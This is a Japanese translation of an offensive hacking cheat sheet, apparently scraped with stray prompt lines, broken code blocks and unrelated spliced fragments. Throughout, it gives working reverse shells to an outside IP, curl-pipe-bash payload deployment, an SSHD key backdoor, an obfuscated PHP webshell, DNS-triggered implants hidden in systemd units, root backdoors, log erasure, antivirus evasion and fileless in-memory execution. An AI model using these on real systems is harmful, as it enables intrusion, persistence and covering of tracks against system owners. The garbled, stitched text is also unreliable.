  • 最近のシェルでは、これは { nc 3.13.3.7 1524 </dev/fd/2|sh;} 2>&1|: と短縮できます。(IA_PDに感謝)。
  • | : のトリックは、C-Shell/tcsh (FreeBSD)、オリジナルのBourne shell (Solaris)、Korn shell (AIX) では機能しません。代わりに mkfifo を使用してください。

古い /bin/sh 向けのバリアント:```sh mkfifo /tmp/.io; sh -i 2>&1 </tmp/.io | nc -vn 3.13.3.7 1524 >/tmp/.io

root@kitploit:~
Telnet バリアント:```sh
mkfifo /tmp/.io; sh -i 2>&1 </tmp/.io | telnet 3.13.3.7 1524 >/tmp/.io

mkfifoがサポートされていない場合のTelnetバリアント (Ulg!):```sh touch /tmp/.fio; tail -f /tmp/.fio | sh -i | telnet 3.13.3.7 31337 >/tmp/.fio

root@kitploit:~
注: ログイン後は `rm /tmp/.fio` を忘れないでください。



<a id="revese-shell-remote-moe"></a>
**5.i.h. remote.moe と ssh を使ったリバースシェル (暗号化)**

raw TCP (例: bash リバースシェル) を [remote.moe](https://remote.moe) 経由でトンネリングすることが可能です:

作業用ワークステーションで:```sh
# First Terminal - Create a remote.moe tunnel to your workstation
ssh-keygen -q -t rsa -N "" -f .r  # New key creates a new remote.moe-address
ssh -i .r -R31337:0:8080 -o StrictHostKeyChecking=no [email protected]; rm -f .r
# Note down the 'remote.moe' address which will look something like
# uydsgl6i62nrr2zx3bgkdizlz2jq2muplpuinfkcat6ksfiffpoa.remote.moe

# Second Terminal - start listening for the reverse shell
nc -vnlp 8080

ターゲット上で(SSHとBashが必要):```sh bash -c '(killall ssh; rm -f /tmp/.r; ssh-keygen -q -t rsa -N "" -f /tmp/.r; ssh -i /tmp/.r -o StrictHostKeyChecking=no -L31338:uydsgl6i62nrr2zx3bgkdizlz2jq2muplpuinfkcat6ksfiffpoa.remote.moe:31337 -Nf remote.moe; bash -i &>/dev/tcp/0/31338 0>&1 &)'

root@kitploit:~
ターゲット上で(代替手段;ssh、bash、mkfifo が必要):```sh
rm -f /tmp/.p /tmp/.r; ssh-keygen -q -t rsa -N "" -f /tmp/.r && mkfifo /tmp/.p && (bash -i</tmp/.p  2>1 |ssh -i /tmp/.r -o StrictHostKeyChecking=no -W uydsgl6i62nrr2zx3bgkdizlz2jq2muplpuinfkcat6ksfiffpoa.remote.moe:31337 remote.moe>/tmp/.p &)

5.i.i. Python を使用したリバースシェル```sh python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("3.13.3.7",1524));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

root@kitploit:~
<a id="reverse-shell-perl"></a>
**5.i.j. Perl を使用したリバースシェル**```sh
# method 1
perl -e 'use Socket;$i="3.13.3.7";$p=1524;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
# method 2
perl -MIO -e '$p=fork;exit,if($p);foreach my $key(keys %ENV){if($ENV{$key}=~/(.*)/){$ENV{$key}=$1;}}$c=new IO::Socket::INET(PeerAddr,"3.13.3.7:1524");STDIN->fdopen($c,r);$~->fdopen($c,w);while(<>){if($_=~ /(.*)/){system $1;}};'

5.i.k. PHPによるリバースシェル```sh php -r '$sock=fsockopen("3.13.3.7",1524);exec("/bin/bash -i <&3 >&3 2>&3");'

root@kitploit:~
<a id="reverse-shell-upgrade"></a>
<a id="reverse-shell-pty"></a>
**5.ii.a. リバースシェルをPTYシェルにアップグレードする**

上記のリバースシェルはいずれも制限されています。たとえば *sudo bash* や *top* は動作しません。これらを動作させるには、シェルを実際のPTYシェルにアップグレードする必要があります:```sh
# Using script
exec script -qc /bin/bash /dev/null  # Linux
exec script -q /dev/null /bin/bash   # BSD

Please provide the Markdown content to translate.```sh

Using python

exec python -c 'import pty; pty.spawn("/bin/bash")'

root@kitploit:~
<a id="reverse-shell-interactive"></a>
**5.ii.b. リバースシェルを完全な対話型シェルにアップグレードする**

...そして、Ctrl-C なども使いたい場合は、リバースシェルを本当に完全なカラフルな対話型シェルにまでアップグレードする必要があります:```sh
# On the target host spawn a PTY using any of the above examples:
python -c 'import pty; pty.spawn("/bin/bash")'
# Now Press Ctrl-Z to suspend the connection and return to your own terminal.

Input content is missing — please provide the chunk text to translate.```

On your terminal execute:

stty raw -echo icrnl opost; fg

root@kitploit:~
### C2

C2 サーバーとその API の実装詳細```sh
# On target host
export SHELL=/bin/bash
export TERM=xterm-256color
reset -I
stty -echo;printf "\033[18t";read -rdt R;stty sane $(echo "${R:-8;80;25}"|awk -F";" '{ printf "rows "$3" cols "$2; }')
# Pimp up your prompt
# PS1='USERS=$(who | wc -l) LOAD=$(cut -f1 -d" " /proc/loadavg) PS=$(ps -e --no-headers|wc -l) \[\e[36m\]\u\[\e[m\]@\[\e[32m\]\h:\[\e[33;1m\]\w \[\e[0;31m\]\$\[\e[m\] '
PS1='\[\033[36m\]\u\[\033[m\]@\[\033[32m\]\h:\[\033[33;1m\]\w\[\033[m\]\$ '

5.ii.c. socat によるリバースシェル(完全対話型)

...または、socat をインストールして、あまり手間をかけずに済ませることができます:```sh

on attacker's host (listener)

socat file:tty,raw,echo=0 tcp-listen:1524

on target host (reverse shell)

socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:3.13.3.7:1524

root@kitploit:~
---
<a id="backdoor"></a>
## 6. バックドア

単純な1行のリバースシェルについては、[Reverse Shell / Dumb Shell](#reverse-shell)を参照してください。

<a id="gsnc"></a>
**6.i. gs-netcat を使用したリバースシェル**

主に gs-netcat の自動デプロイスクリプトを使用します: [https://www.gsocket.io/deploy](https://www.gsocket.io/deploy)。```sh
bash -c "$(curl -fsSLk https://gsocket.io/y)"

または```sh bash -c "$(wget --no-check-certificate -qO- https://gsocket.io/y)"

root@kitploit:~
または、独自のデプロイメントサーバーを実行してgsocketをデプロイします:```sh
LOG=results.log bash -c "$(curl -fsSL https://gsocket.io/ys)"  # Notice '/ys' instead of '/y'

6.ii. sshx.io を使用したリバースシェル(暗号化)

Web ブラウザからリモートシェルにアクセスします https://sshx.io。

sshx-backdoor をメモリに直接パイプします:```shell echo $(curl -SsfL https://s3.amazonaws.com/sshx/sshx-$(uname -m)-unknown-linux-musl.tar.gz|tar xfOz - sshx 2>/dev/null
|nohup perl '-efor(319,279){($f=syscall$_,$",1)>0&&last};open($o,">&=".$f);print$o();exec{"/proc/$$/fd/$f"}"/usr/bin/python3",("-q")' 2>/dev/null
|{ read x;echo "$x";}&)

root@kitploit:~
または、不格好な方法:```shell
curl -SsfL https://s3.amazonaws.com/sshx/sshx-$(uname -m)-unknown-linux-musl.tar.gz|tar xfOz - sshx 2>/dev/null >.s \
&& chmod 755 .s \
&& (PATH=.:$PATH .s -q >.u 2>/dev/null &);
for _ in {1..10}; do [ -s .u ] && break;sleep 1;done;cat .u;rm -f .u .s;

6.iii. 最小のSSHDバックドア

  • apt update 後も生存する
  • 新しいファイルを作成しない。
  • authorized_keys や PAM を使用しない。

authorized_keys に鍵を追加するのは使い古されています 😩。代わりに、root としてこれを任意のターゲットに 一度だけ カット&ペーストしてください。SSHD の設定に1行追加され、永遠にログインできるようになります:```shell backdoor_sshd() { local B="/etc/ssh" local K="${B}/ssh_host_ed25519_key" D="${B}/sshd_config.d" local N=$(cd "${D}" 2>/dev/null|| exit; shopt -s nullglob; echo .conf) [ ! -f "$K" ] && K="${B}/ssh_host_rsa_key" [ -n "$N" ] && N="${N%%.conf}.conf" N="${D}/${N:-50-cloud-init.conf}" [ ! -d "${D}" ] && N="${B}/sshd_config" { [ ! -f "$K" ] || [ ! -f "$K".pub ]; } && return grep -iqm1 '^PermitRootLogin\s+no' "${B}/sshd_config" && echo >&2 "WARN: PermitRootLogin blocking in sshd_config" echo -e "\e[0;31mYour id_ed25519 to log in to this server as any user:\e[0;33m\n$(cat "${K}")\e[0m" grep -qm1 '^AuthorizedKeysFile' "$N" 2>/dev/null && { echo >&2 "WARN: Already backdoored"; return; } echo -e "AuthorizedKeysFile\t.ssh/authorized_keys .ssh/authorized_keys2 ${K}.pub" >>"${N}" || return touch -r "$K" "$N" "$D"
&& declare -F ctime >/dev/null && ctime "$N" "$D" command -v systemctl >/dev/null && { systemctl restart ssh;:;} || service ssh restart } backdoor_sshd

root@kitploit:~
仕組み:
- SSHDホスト鍵は通常のed25519鍵にすぎません。
- どのed25519鍵でもユーザー認証に使用できます。
- SSHDは`~/.ssh/authorized_keys`を確認します(ただし、このトリックは使われすぎています)。
- 代わりに、SSHDがログイン認証鍵として`/etc/ssh/sshd_host_ed25519_key.pub`も確認するように設定します。
- SSHDは有効なログイン鍵として`~/.ssh/authorized_keys` _と_ `/etc/ssh/ssh_host_ed25519_key.pub`の両方を確認するようになります。
- `/etc/ssh/sshd_host_ed25519_key`秘密鍵を使用してターゲットにログインします。

<a id="backdoor-network"></a>
**6.vi. ネットワーク全体へのリモートアクセス**

[gs-netcat](https://github.com/hackerschoice/gsocket)をインストールします。これは、HostのプライベートLAN上にSOCKS出口ノードを作成し、Global Socket Relay Networkを通じてアクセスできるようにします。独自のリレーサーバーを運用する必要はありません(例: ワークステーションからリモートのプライベートLANに直接アクセスできます)。```sh
gs-netcat -l -S       # compromised Host

これで、ワークステーションからホストのプライベートLAN上のあらゆるホストに接続できます:```sh gs-netcat -p 1080 # Your workstation.

Access route.local:22 on the Host's private LAN from your Workstation:

socat - "SOCKS4a:127.1:route.local:22"

root@kitploit:~
[任意のツールをSocksプロキシ経由で使用する](#scan-proxy) をお読みください。

その他の方法:
* [Gost/Cloudflared](https://iq.thc.org/tunnel-via-cloudflare-to-any-tcp-service) - 私たちの記事
* [Reverse Wireguard](https://thc.org/segfault/wireguard) - segfault.net から任意の(内部)ネットワークへ。

<a id="php-backdoor"></a>
**6.v. 最小のPHPバックドア**

任意のPHPファイルの先頭に次の行を追加します:```php
<?php $i=base64_decode("aWYoaXNzZXQoJF9QT1NUWzBdKSl7c3lzdGVtKCRfUE9TVFswXSk7ZGllO30K");eval($i);?>

これはbase64エンコードです:```php if(isset($_POST[0])){system($_POST[0]);die;}

root@kitploit:~
バックドアをテストする:```sh
### 1. Optional: Start a test PHP server
cd /var/www/html && php -S 127.0.0.1:8080
### Without executing a command
curl http://127.0.0.1:8080/test.php
### With executing a command
curl http://127.0.0.1:8080/test.php -d 0="ps fax; uname -mrs; id"

時には system() が禁止されている場合があります。バックアップとしてリモートPHPコード実行を可能にする eval() を追加してください。難読化のために他のbase64コメントの中に隠します:```php

root@kitploit:~
これらのいずれかでトリガーして、コマンドまたはPHPコードを実行します:```shell
# Execute just command
curl http://127.0.0.1:8080/x.php -d0='id'
# Execute just PHP code
curl http://127.0.0.1:8080/x.php -d0='' -d1='echo file_get_contents("/etc/hosts");'

6.vi. 最小のリバースDNSトンネルバックドア

...PHPで:

リバースDNSトリガーを使用して、パブリックインターネットからは_アクセスできない_サーバー上で任意のコマンドを実行します。

この行(インプラント)を任意のPHPファイルの先頭に追加してください:```php

root@kitploit:~
インプラントは、ドメイン`b00m.team-teso.net`からのDNS TXTリクエストを介してペイロードを要求します。トリガーされると、`/tmp/.b00m`を作成し、(app.interactsh.comコールバックを介して)THCに通知します。*必ず* ご自身のドメインを使用し、ご自身のペイロードも作成してください。例:```shell
echo -n '@system("{ id; date;}>/tmp/.b00m 2>/dev/null");' |base64 -w0
  • DNS TXT ペイロードは 2,048 文字(場合によっては 65,535 文字)に制限されています。
  • インプラントは bootloader です。while ループを使用して、より大きなペイロードを DNS 経由でダウンロードおよび実行してください。
  • ドメインを匿名で登録するためのお気に入りの場所をチェックしてください。Cloudflare の Free-Tier は良い出発点です。

...BASH で:

このインプラントをターゲットの ~/.bashrc または crontab に追加してください(demo-paypload):```shell

Use a "double bash" to redirect also errors from $()-subshell to /dev/null:

bash -c 'exec bash -c "{ $(dig +short b00m2.team-teso.net TXT|tr -d \ "|base64 -d);}"'&>/dev/null

root@kitploit:~
または、デモペイロードを精巧なペイロードに変更します:
- バックグラウンドデーモンを起動し、1時間ごとにコマンド実行をポーリングします。
- bash、dig、base64のみに依存します。
- `sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups` として隠れます。
- 例では再び `b00m2.team-teso.net` を使用し、毎時間 /tmp/.b00m を作成します。

以下をターゲットのシェルにコピー&ペーストして、1行のインプラントを生成します:```shell
# If dig does not exists then replace /dig +short.../ with
# /nslookup -q=txt '"$D"'|grep -Fm1 "text ="|sed -E "s|.*text = (.*)|\1|g;s|[\" ]||g"|base64 -d|bash/
# or use the Perl example below.
base64 -w0 >x.txt <<-'EOF'
D=b00m2.team-teso.net
P="sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups"
M=/dev/shm/.cache${UID}
[ -f $M ]&&exit
touch $M
(echo 'slp(){ local IFS;[ -n "${_sfd:-}" ]||exec {_sfd}<> <(:);read -t$1 -u$_sfd||:;}
slp 1
while :; do
	dig +short '"$D"' TXT|tr -d \ \"|base64 -d|bash
	slp 3600
done'|exec -a "$P" bash &) &>/dev/null
EOF
echo "===> Add the following to the target's ~/.bashrc or cronjob:"$'\n\033[0;36m'"echo $(<x.txt)|base64 -d|bash"$'\033[0m'
rm -f x.txt

スクリプトの1行の結果を、ターゲット上の任意の起動スクリプトに追加します(crontab、~/.bashrc、udev、またはExecStartPre=を使用)。以下は、/usr/lib/systemd/system/ssh.service に対する巧妙な例です(さらに難読化を追加しています):``` ... [Service] EnvironmentFile=-/etc/default/ssh Environment="SSHD=echo RD1iMDBtMi50ZWFtLXRlc28ubmV0ClA9InNzaGQ6IC91c3Ivc2Jpbi9zc2hkIC1EIFtsaXN0ZW5lcl0gMCBvZiAxMC0xMDAgc3RhcnR1cHMiCk09L2Rldi9zaG0vLmNhY2hlJHtVSUR9ClsgLWYgJE0gXSYmZXhpdAp0b3VjaCAkTQooZWNobyAnc2xwKCl7IGxvY2FsIElGUztbIC1uICIke19zZmQ6LX0iIF18fGV4ZWMge19zZmR9PD4gPCg6KTtyZWFkIC10JDEgLXUkX3NmZHx8Ojt9CnNscCAxCndoaWxlIDo7IGRvCmRpZyArc2hvcnQgJyIkRCInIFRYVHx0ciAtZCBcIFwifGJhc2U2NCAtZHxiYXNoCnNscCAzNjAwCmRvbmUnfGV4ZWMgLWEgIiRQIiBiYXNoICYpICY+L2Rldi9udWxsCg==|base64 -d|bash" ExecStartPre=-bash -c 'eval $SSHD' ExecStartPre=/usr/sbin/sshd -t ExecStart=/usr/sbin/sshd -D $SSHD_OPTS ...

root@kitploit:~
...PERL の場合:
---
同様ですが、perl + bash のみが必要です(dig は不要):```shell
perl -MMIME::Base64 -e '$/=undef;print encode_base64(<>,"")' >x.txt <<-'EOF'
D=b00m2.team-teso.net
P="sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups"
M=/dev/shm/.cache-1-${UID}
(echo 'use Net::DNS;use MIME::Base64;exit(0) if -e "'"$M"'";close(open($f,">","'"$M"'"));for (;;) { system decode_base64((Net::DNS::Resolver->new->query(q/'"$D"'/,q/TXT/)->answer)[0]->txtdata=~y/ \\//dr);sleep(3600)}'|exec -a "$P" perl &) &>/dev/null
EOF
echo "===> Execute the following on the target:"$'\n\033[0;36m'"perl -MMIME::Base64 -e'print decode_base64(\"$(<x.txt)\")'|bash"$'\033[0m'
rm -f x.txt

(LouCipher による perl 版に感謝します)

...PYTHON 版:

以下をシェルにコピー&ペーストしてください:```shell pydnsbackdoorgen() { local str echo -e "This is the TXT record for ${1:?}\e[0;33m" base64 -w0 <"${2:?}" str="$(echo -en 'import dns.resolver\nexec(base64.b64decode("".join([d.to_text() for d in dns.resolver.resolve("'"${1:?}"'", "TXT").rrset])))' | base64 -w 0)" echo -e "\e[0m\nAdd this implant string to a target's python script:\e[0;32m" echo "exec('"'try:\n\timport base64\n\texec(base64.b64decode("'"${str}"'"))\nexcept:\n\tpass'"')" echo -e "\e[0m" }

root@kitploit:~
ペイロードを生成します(`egg.py` はターゲット上で実行されます):```shell
cat >egg.py<<-'EOF'
import time
dns.resolver.resolve(f"{int(time.time())}.yzlespkpfkqfrtwgvhngkyqbuod49rgmo.oast.fun")
EOF

インプラントを生成します(指示に従ってください):```shell pydnsbackdoorgen b00mpy.team-teso.net egg.py

root@kitploit:~
<a id="ld-backdoor"></a>
**6.vii. ローカルルートバックドア**

#### 1. setcap を使用した動的ローダーのバックドア化```bash
### Execute as ROOT user
fn="$(readlink -f /lib64/ld-*.so.*)" || fn="$(readlink -f /lib/ld-*.so.*)" || fn="/lib/ld-linux.so.2"
setcap cap_setuid,cap_setgid+ep "${fn}"

入力:```bash

Execute as non-root user to get root

fn="$(readlink -f /lib64/ld-.so.)" || fn="$(readlink -f /lib/ld-.so.)" || fn="/lib/ld-linux.so.2" p="$(command -v python3 2>/dev/null)" || p="$(command -v python)" "${fn:?}" "$p" -c 'import os;os.setuid(0);os.setgid(0);os.execlp("bash", "kdaemon")'

root@kitploit:~
#### 2. おなじみの b00m shell```shell
{ cp /bin/sh /var/tmp/.b00m; chmod 6775 /var/tmp/.b00m; } 2>/dev/null >/dev/null

SSHコマンド実行によるPyEZ AD統合```shell

exec /var/tmp/.b00m -p -c 'exec python -c "import os;os.setuid(0);os.execlp("bash", "kdaemon")"'

root@kitploit:~
<a id="implant"></a>
**6.viii. 自己解凍型インプラント**

[mkegg.sh](https://github.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet/blob/master/tools/mkegg.sh) を使って自己解凍型シェルスクリプトを作成する(ソースの例を参照)。

簡単な例:```sh
# Create implant 'egg.sh' containing the file 'foo'
# and the directory 'warez'. When executing 'egg.sh' then
# extract 'foo' and 'warez' and call 'warez/run/sh'
./mkegg.sh egg.sh foo warez warez/run.sh

実際の例が最適です:

  1. 成功時に gsocket をインストールし、自身の webhook を呼び出すインプラントを作成します:```sh ./mkegg.sh egg.sh deploy-all.sh '(GS_WEBHOOK_KEY=e90d4b38-8285-490d-b5ab-a6d5c7c990a7 deploy-all.sh 2>/dev/null >/dev/null &)'

On the target system do: 'cat egg.sh | bash' or './egg.sh'

root@kitploit:~
2. `egg.sh` を `update-for-fools.txt` にリネームし、blobとして[Signalの](https://www.signal.org/) GitHubリポジトリにアップロードする。

3. このコマンドを使ってSignalをアップデートするよう人を騙さないでください ❤️:```sh
curl -fL https://github.com/signalapp/Signal-Desktop/files/15037868/update-for-fools.txt | bash

7. ホスト偵察


ホストに関する必須情報を取得する:```sh bash -c "$(curl -fsSL https://thc.org/ws)"

root@kitploit:~
または```sh
bash -c "$(curl -fsSL https://github.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet/raw/master/tools/whatserver.sh)"

netstat/ss/lsof がない場合の netstat:```sh curl -fsSL https://raw.githubusercontent.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet/master/tools/awk_netstat.sh | bash

root@kitploit:~
システムの速度チェック```sh
curl -fsSL https://bench.sh | bash
# Another speed check:  
# curl -fsSL https://yabs.sh | bash

suid/sgid バイナリをすべて検索:``` find / -xdev -type f -perm /6000 -ls 2>/dev/null

root@kitploit:~
書き込み可能なすべてのディレクトリを検索:```bash
wfind() {
    local arr dir

    arr=("$@")
    while [[ ${#arr[@]} -gt 0 ]]; do
        dir=${arr[${#arr[@]}-1]}
        unset "arr[${#arr[@]}-1]"
        find "$dir"  -maxdepth 1 -type d -writable -ls 2>/dev/null
        IFS=$'\n' arr+=($(find "$dir" -mindepth 1 -maxdepth 1 -type d ! -writable 2>/dev/null))
    done
}
# Usage: wfind /
# Usage: wfind /etc /var /usr 

ローカルのパスワードを検索する (noseyparker または trufflehog を使用):```sh curl -o np -fsSL https://github.com/hackerschoice/binary/raw/main/tools/noseyparker-x86_64-static chmod 700 np &&
./np scan . &&
./np report --color=always | less -R

root@kitploit:~
- ~/.*history 内のパスワードを見つけるには [PassDetective](https://github.com/aydinnyunus/PassDetective) を使用する
- 実行中のプロセスから Chrome のパスワードを抽出・復号化するには [Chrome-ABE](https://github.com/xaitax/Chrome-App-Bound-Encryption-Decryption) を使用する (Windows のみ)
- ブラウザからパスワードを抽出するには [https://github.com/kiryano/chrome-password-decryptor](https://github.com/kiryano/chrome-password-decryptor) を使用する

`grep` を使用:```sh
# Find passwords (without garbage).
grep -HEronasi  '.{,16}password.{,64}' .
# Find TLS or OpenSSH keys:
grep -r -F -- " PRIVATE KEY-----" .

ファイル内のサブドメインまたはメールアドレスを検索:```bash resolv() { while read -r x; do r="$(getent hosts "$x")" || continue; echo "${r%% *}"$'\t'"${x}"; done; } find_subdomains() { local d="${1//./\.}" local rexf='[0-9a-zA-Z_.-]{0,64}'"${d}" local rex="$rexf"'([^0-9a-zA-Z_]{1}|$)' [ $# -le 0 ] && { echo -en >&2 "Extract sub-domains from all files (or stdin)\nUsage : find_subdomains \nExample: find_subdomain .com | anew"; return; } shift 1 [ $# -le 0 ] && [ -t 0 ] && set -- . command -v rg >/dev/null && { rg -oaIN --no-heading "$rex" "$@" | grep -Eao "$rexf"; return; } grep -Eaohr "$rex" "$@" | grep -Eo "$rexf" }

find_subdomain .foobar.com | anew | resolv

find_subdomain @gmail.com | anew

root@kitploit:~
---
<a id="shell-hacks"></a>
## 8. シェルハック
<a id="shred"></a>
**8.i. ファイルのシュレッドと消去**```sh
shred -z foobar.txt

sdl2-example

ファイル src/main.rs は、このガイドのコードの実際の動作例のソースコードです。この例のreadmeには、ビルド方法が説明されています。ここでは SDL2 ウィンドウを画面に表示する方法については説明しません。それは既存の SDL2 ドキュメントと重複するためです。

例に戻る

トップに戻る

SHRED without shred command

shred() { [[ -z $1 || ! -f "$1" ]] && { echo >&2 "shred [FILE]"; return 255; } dd status=none bs=1k count=$(du -sk ${1:?} | cut -f1) if=/dev/urandom >"$1" rm -f "${1:?}" } shred foobar.txt

root@kitploit:~
注: または、ファイルを */dev/shm* ディレクトリに配置することで、ハードドライブにデータが書き込まれないようにします。データは再起動時に削除されます。

注: または、ファイルを削除してから、ハードドライブ全体を /dev/urandom で満たし、その後ダンプファイルを rm -rf で削除します。

<a id="restore-timestamp"></a>
**8.ii. ファイルの日付を復元する**

*/etc/passwd* を変更したが、ファイルの日付が */etc/passwd* が変更されたことを示しているとします。*touch* を使用して、ファイルの日付を別のファイル(この例では */etc/shadow*)の日付に変更します。```sh
touch -r /etc/shadow /etc/passwd
# verify with 'stat /etc/passwd'

hackshell と ctime /etc/passwd を使用して、ctime と birth-time も調整します。

8.iii. ログファイルをクリア

これにより、syslogd などを再起動しなくても、ログファイルを 0 にリセットできます:```sh

/var/log/auth.log # or on old shells: cat /dev/null >/var/log/auth.log

root@kitploit:~
これにより、ログファイルからIP `1.2.3.4` を含む行がすべて削除されます:```sh
xlog() { local a=$(sed "/${1:?}/d" <"${2:?}") && echo "$a" >"${2:?}"; }

例:```sh

xlog "1.2.3.4" /var/log/auth.log

xlog "${SSH_CLIENT%% *}" /var/log/auth.log

xlog "^2023.* thc.org" foo.log

root@kitploit:~
<a id="shell-hide-files"></a>
**8.iv. ルート権限なしでそのユーザーからファイルを隠す**

私たちのお気に入りの作業ディレクトリは */dev/shm/* です。この場所は揮発性メモリであり、再起動すると失われます。NO LOGZ == NO CRIME。

永続ファイルを隠す:

方法 1:```sh
alias ls='ls -I system-dev'

これにより、system-dev ディレクトリが ls コマンドから隠されます。ユーザーの ~/.profile またはシステム全体の /etc/profile に配置してください。

方法 2: 80年代のトリックです。管理者がめったに覗かないディレクトリ(/boot/.X11/.. など)を考えてください:```sh mkdir '...' cd '...'

root@kitploit:~
Method 3:
Unix は 0x00 以外のほぼすべての ASCII 文字をファイル名に使用できます。タブ (*\t*) を試してください。ほとんどの管理者はそのようなディレクトリに cd する方法を知らないことがよくあります。```sh
mkdir $'\t'
cd $'\t'

8.v. ファイルを不変にする

これは /var/www/cgi/blah.cgi を /boot/backdoor.cgi にリダイレクトします。ファイル blah.cgi は変更または削除できません(アンマウントしない限り)。```sh

/boot/backdoor.cgi contains our backdoor

touch /var/www/cgi/blah.cgi mount -o bind,ro /boot/backdoor.cgi /var/www/cgi/blah.cgi

root@kitploit:~
<a id="nosudo"></a>
**8.vi. sudo/su を使わずにユーザーを変更**

X11 セッションのスクリーンショットを撮るために必要(例: `xwd -display :0 -silent -root | convert - jpg:screenshot.jpg` または `import -display :0 -window root screenshot.png`)```bash
xsu() {
    local name="${1:?}"
    local u g h
    local cmd="python"

    command -v python3 >/dev/null && cmd="python3"
    [ $UID -ne 0 ] && { HS_ERR "Need root"; return; }
    u=$(id -u ${name:?}) || return
    g=$(id -g ${name:?}) || return
    h="$(grep "^${name}:" /etc/passwd | cut -d: -f6)" || return
    HOME="${h:-/tmp}" "$cmd" -c "import os;os.setgid(${g:?});os.setuid(${u:?});os.execlp('bash', 'bash')"
}
# xsu user

8.vii. ペイロードを難読化して暗号化する

Use UPX to pack an ELF binary (example /bin/id):```shell BIN="mybin" upx -qqq /bin/id -o "${BIN}"

root@kitploit:~
[UPXヘッダー](https://github.com/upx/upx/blob/devel/src/stub/src/include/header.S)と2番目のELFヘッダーをクレンジングして、アンチウイルスを欺きます:```shell
perl -i -0777 -pe 's/^(.{64})(.{0,256})UPX!.{4}/$1$2\0\0\0\0\0\0\0\0/s' "${BIN}"
perl -i -0777 -pe 's/^(.{64})(.{0,256})\x7fELF/$1$2\0\0\0\0/s' "${BIN}"

必要に応じて、UPXのシグネチャと痕跡を除去:```shell cat "${BIN}"
| perl -e 'local($/);$=<>;s/(.)($Info:[^\0])(.*)/print "$1";print "\0"x length($2); print "$3"/es;'
| perl -e 'local($/);$
=<>;s/(.)($Id:[^\0])(.)/print "$1";print "\0"x length($2); print "$3"/es;' >"${BIN}.tmpupx" mv "${BIN}.tmpupx" "${BIN}" grep -Eqm1 "PROT_EXEC|PROT_WRITE" "${BIN}"
&& cat "${BIN}" | perl -e 'local($/);$_=<>;s/(.
)(PROT_EXEC|PROT_WRI[^\0])(.)/print "$1";print "\0"x length($2); print "$3"/es;' >"${BIN}.tmpupx"
&& mv "${BIN}.tmpupx" "${BIN}" perl -i -0777 -pe 's/UPX!/\0\0\0\0/sg' "${BIN}"

root@kitploit:~
バイナリがアンパックできないことを確認する:```shell
upx -d "${BIN}"  # Should fail with 'not packed by UPX'

オプションで bincrypter を使って暗号化できます。

8.viii. ファイルシステムに触れずにバックドアを展開する

ファイルシステムに書き込まずに、またはすべての書き込み可能な場所が厄介な noexec フラグでマウントされている場合に、バックドアを起動します。

バイナリをメモリに読み込んで実行する Perl ワンライナー(ディスクや /dev/shm や /tmp には一切触れません)。詳細は Hackshell を参照してください。```sh memexec() { local stropen strread local strargv0='"foo", ' [ -t 0 ] && { stropen="open($i, '<', '$1') or die 'open: $!';" strread='$i' unset strargv0 } # Check Syscall-NR: perl -e 'require "sys/syscall.ph"; printf &SYS_memfd_create;' perl -e '$f=syscall(319, $n="", 1); if(-1==$f){ $f=syscall(279, $n="", 1); if(-1==$f){ die "memfd_create: $!";}} '"${stropen}"' open($o, ">&=".$f) or die "open: $!"; while(<'"${strread:-STDIN}"'>){print $o $_;} exec {"/proc/$$/fd/$f"} '"${strargv0}"'@ARGV or die "exec: $!";' -- "$@" }

Example usage:

memexec /usr/bin/id -u

cat /usr/bin/id | memexec -u

curl -SsfL https://thc.org/my-backdoor-binary | memexec

root@kitploit:~
最短の形式は(例):```shell
memexec(){ perl '-e$^F=255;for(319,279,385,4314,4354){($f=syscall$_,$",0)>0&&last};open($o,">&=".$f);print$o(<STDIN>);exec{"/proc/$$/fd/$f"}X,@ARGV;exit 255' -- "$@";}
# Example: cat /usr/bin/id | memexec -u

(tmp.Out氏の見識ある議論と、他者による先行研究に感謝します)

ファイルシステムに書き込まずに gsocket を展開する(例):```sh GS_ARGS="-ilqD -s SecretChangeMe31337" memexec <(curl -SsfL https://gsocket.io/bin/gs-netcat_mini-linux-$(uname -m))

root@kitploit:~
バックドアは、SSH経由でリモートのメモリに直接パイプして実行することもできます:```sh
MX='-e$^F=255;for(319,279,385,4314,4354){($f=syscall$_,$",0)>0&&last};open($o,">&=".$f);print$o(<STDIN>);exec{"/proc/$$/fd/$f"}X,@ARGV;exit 255'
curl -SsfL https://gsocket.io/bin/gs-netcat_mini-linux-x86_64 | ssh root@foobar "exec perl '$MX' -- -ilqD -s SecretChangeMe31337"

リモートでコマンドを一度だけ実行できる場合(PHPエクスプロイトなどを通じて)なら、これがあなたの一行です:```sh curl -SsfL https://gsocket.io/bin/gs-netcat_mini-linux-$(uname -m)|perl '-e$^F=255;for(319,279,385,4314,4354){($f=syscall$_,$",0)>0&&last};open($o,">&=".$f);print$o();exec{"/proc/$$/fd/$f"}X,@ARGV;exit 255' -- -ilqD -s SecretChangeMe31337

root@kitploit:~
---
<a id="crypto"></a>
## 9. 暗号
<a id="gen-password"></a>
**9.i. クイックなランダムパスワードを生成**

人間の要素なしでクイックなパスワードを生成するのに適しています。```sh
openssl rand -base64 24

openssl が利用できない場合は、head を使用して /dev/urandom から読み取ることもできます。```sh head -c 32 < /dev/urandom | xxd -p -c 32

root@kitploit:~
または英数字にしてください```sh
head -c 32 < /dev/urandom | base64 | tr -dc '[:alnum:]' | head -c 16

9.ii.a. Linux 可搬型暗号化ファイルシステム - cryptsetup

256MB の暗号化ファイルシステムを作成します。パスワードの入力を求められます。```sh dd if=/dev/urandom of=/tmp/crypted bs=1M count=256 iflag=fullblock cryptsetup luksFormat /tmp/crypted cryptsetup open /tmp/crypted sec mkfs -t ext3 /dev/mapper/sec

root@kitploit:~
マウント:```sh
cryptsetup open /tmp/crypted sec
mount -o nofail,noatime /dev/mapper/sec /mnt/sec

